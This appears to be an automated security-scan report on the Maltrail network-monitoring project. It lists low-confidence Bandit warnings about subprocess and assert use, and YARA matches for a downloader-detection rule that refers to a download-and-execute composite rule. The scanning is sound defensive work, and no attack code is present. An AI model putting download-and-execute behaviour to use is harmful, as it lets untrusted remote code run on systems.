Try, Except, Continue detected.
1162 start = _ip6_to_int(parts[3]); v6.append((start, start + (1 << (128 - int(parts[4]))) - 1, cc.upper())) 1163 except Exception: 1164 continue 1165 except Exception as ex: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 415
- Likely real
- Probably noise, 24% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
414 # Fallback to original sysctl regex method for other BSD systems 415 output = subprocess.check_output("sysctl hw", shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 416 retval = int(re.search(r"hw\.(physmem|memsize):\s*(\d+)", output).group(2)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 422
- Likely real
- Probably noise, 24% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
421 try: 422 retval = 1024 * int(re.search(r"\s+(\d+) K total memory", subprocess.check_output("vmstat -s", shell=True, stderr=subprocess.STDOUT, universal_newlines=True)).group(1)) 423 except Exception: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 428
- Likely real
- Probably noise, 24% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
427 try: 428 retval = int(re.search(r"Mem:\s+(\d+)", subprocess.check_output("free -b", shell=True, stderr=subprocess.STDOUT, universal_newlines=True)).group(1)) 429 except Exception: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 435
- Likely real
- Probably noise, 24% confidence
subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell
434 try: 435 retval = 1024 * int(re.search(r"KiB Mem:\s*\x1b[^\s]+\s*(\d+)", subprocess.check_output("top -n 1", shell=True, stderr=subprocess.STDOUT, universal_newlines=True)).group(1)) 436 except Exception: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/httpd.py line 22
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
21 import socket 22 import subprocess 23 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/refnet.py line 44
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
43 import struct 44 import subprocess 45 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/perf_table.py line 47
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
46 import struct 47 import subprocess 48 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/fanout_check.py line 30
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
29 import socket 30 import subprocess 31 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 32
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
31 import re 32 import subprocess 33 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/testing.py line 16
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
15 import struct 16 import subprocess 17 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 13
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
12 import struct 13 import subprocess 14 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/log.py line 18
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
17 import stat 18 import subprocess 19 import sys -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 407
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
406 try: 407 output = subprocess.check_output(['sysctl', '-n', 'hw.memsize'], universal_newlines=True, stderr=subprocess.PIPE) 408 retval = int(output.strip()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 383
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
382 if IS_WIN: 383 output = subprocess.check_output(['wmic', 'computersystem', 'get', 'TotalPhysicalMemory'], universal_newlines=True) 384 retval = int(output.strip().splitlines()[-1].strip()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 415
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
414 # Fallback to original sysctl regex method for other BSD systems 415 output = subprocess.check_output("sysctl hw", shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 416 retval = int(re.search(r"hw\.(physmem|memsize):\s*(\d+)", output).group(2)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/perf_table.py line 365
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
364 try: 365 return subprocess.run(["git", "-C", ROOT, "describe", "--always", "--dirty"], stdout=subprocess.PIPE, 366 universal_newlines=True).stdout.strip() 367 except OSError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 84
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
83 try: 84 subprocess.check_output(["git", "-C", ROOT, "cat-file", "-e", "%s^{commit}" % sha], 85 stderr=subprocess.STDOUT) 86 return True -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 78
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
77 def is_shallow(): 78 path = subprocess.check_output(["git", "-C", ROOT, "rev-parse", "--git-dir"]).decode().strip() 79 return os.path.exists(os.path.join(ROOT, path, "shallow")) or os.path.exists(os.path.join(path, "shallow")) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 71
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
70 def tracked_files(): 71 out = subprocess.check_output(["git", "-C", ROOT, "ls-files"]).decode("utf8", "replace") 72 for name in out.split("\n"): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 64
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
63 try: 64 subprocess.check_output(["git", "--version"], stderr=subprocess.STDOUT) 65 return True -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 435
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
434 try: 435 retval = 1024 * int(re.search(r"KiB Mem:\s*\x1b[^\s]+\s*(\d+)", subprocess.check_output("top -n 1", shell=True, stderr=subprocess.STDOUT, universal_newlines=True)).group(1)) 436 except Exception: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 428
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
427 try: 428 retval = int(re.search(r"Mem:\s+(\d+)", subprocess.check_output("free -b", shell=True, stderr=subprocess.STDOUT, universal_newlines=True)).group(1)) 429 except Exception: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 422
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
421 try: 422 retval = 1024 * int(re.search(r"\s+(\d+) K total memory", subprocess.check_output("vmstat -s", shell=True, stderr=subprocess.STDOUT, universal_newlines=True)).group(1)) 423 except Exception: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/testing.py line 459
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
458 cmd = [binary, "-r", pcap_file, "-c", config_file] 459 process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 460 output = process.communicate()[0] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/refnet.py line 529
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
528 started = time.time() 529 subprocess.check_call([sensor, "-c", conf, "-r", pcap], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 530 return logdir, time.time() - started -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/perf_table.py line 365
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
364 try: 365 return subprocess.run(["git", "-C", ROOT, "describe", "--always", "--dirty"], stdout=subprocess.PIPE, 366 universal_newlines=True).stdout.strip() 367 except OSError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/perf_table.py line 312
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
311 312 version = subprocess.run([args.sensor, "--version"], stdout=subprocess.PIPE, universal_newlines=True).stdout.strip() 313 print("[i] %s, %s; %s; %d run(s) per row, interleaved, pinned to CPU %s; %s packets/s of capture time" % ( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/perf_table.py line 281
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
280 print("[i] no refnet capture in %s; generating it" % args.refnet) 281 subprocess.check_call([sys.executable, os.path.join(ROOT, "sensor", "tools", "refnet.py"), "--generate", "--out", args.refnet]) 282 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/perf_table.py line 239
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
238 cmd = ["taskset", "-c", str(cpu)] + cmd 239 out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True).stdout 240 for m in REPORT.finditer(out): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/fanout_check.py line 82
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
81 def run_sensor(binary, config, duration, generate, port_base, packets, host_count): 82 process = subprocess.Popen([binary, "-c", config], cwd=ROOT, 83 stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 84 lines = [] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 84
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
83 try: 84 subprocess.check_output(["git", "-C", ROOT, "cat-file", "-e", "%s^{commit}" % sha], 85 stderr=subprocess.STDOUT) 86 return True -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 78
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
77 def is_shallow(): 78 path = subprocess.check_output(["git", "-C", ROOT, "rev-parse", "--git-dir"]).decode().strip() 79 return os.path.exists(os.path.join(ROOT, path, "shallow")) or os.path.exists(os.path.join(path, "shallow")) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 71
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
70 def tracked_files(): 71 out = subprocess.check_output(["git", "-C", ROOT, "ls-files"]).decode("utf8", "replace") 72 for name in out.split("\n"): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/check_refs.py line 64
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
63 try: 64 subprocess.check_output(["git", "--version"], stderr=subprocess.STDOUT) 65 return True -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/testing.py line 403
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
402 continue 403 process = subprocess.Popen([binary, "-r", os.path.join(CORPUS_DIR, name), "-c", config], 404 stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 405 process.communicate() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 407
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
406 try: 407 output = subprocess.check_output(['sysctl', '-n', 'hw.memsize'], universal_newlines=True, stderr=subprocess.PIPE) 408 retval = int(output.strip()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/settings.py line 383
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
382 if IS_WIN: 383 output = subprocess.check_output(['wmic', 'computersystem', 'get', 'TotalPhysicalMemory'], universal_newlines=True) 384 retval = int(output.strip().splitlines()[-1].strip()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/log.py line 675
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
674 def spawn(): 675 return subprocess.Popen([sys.executable, "-c", boot, settings], stdin=subprocess.PIPE, stdout=subprocess.PIPE, pass_fds=(fd,), close_fds=True) 676 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/tools/check_feeds.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /install.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/settings.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/httpd.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/src/settings_gen.rs
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/tools/gen_vectors.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/tools/check_redistribution.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /sensor/tools/check_windows.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /data/ua.txt
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/update.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /docker/Dockerfile
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/common.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /core/alert.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/quic_sni.py line 81
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
80 _build_sbox() 81 assert len(key) == 16 82 self._rk = self._expand(bytearray(key)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/trailsbin.py line 35
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
34 35 assert array("I").itemsize == 4 # the binary format hardcodes 4-byte slots (true on every platform Maltrail runs on) 36 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/trailsbin.py line 104
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
103 104 assert len(pair_list) < _EMPTY, "too many distinct (info, reference) pairs for a uint32 value slot" 105 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/gen_corpus.py line 606
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
605 hello = tls_client_hello("tls-split-evil.example", pad=1500) 606 assert len(hello) > 1448 and hello.index(b"tls-split-evil") > 1448 607 lost = tls_client_hello("clean.example", pad=1500) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/gen_ja_vectors.py line 187
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
186 for name, data in list(handcrafted()) + mutations(): 187 assert name not in seen, name 188 seen.add(name) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/refnet.py line 265
- Likely real
- Probably noise, 0% confidence
Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
264 fingerprint = parse_client_hello(hello)[kind.lower()] 265 assert fingerprint != benign_hello[kind.lower()], "the planted hello must not be the background's" 266 extra_trails.append((fingerprint, "malware (refnet %s)" % kind))
No findings match these filters.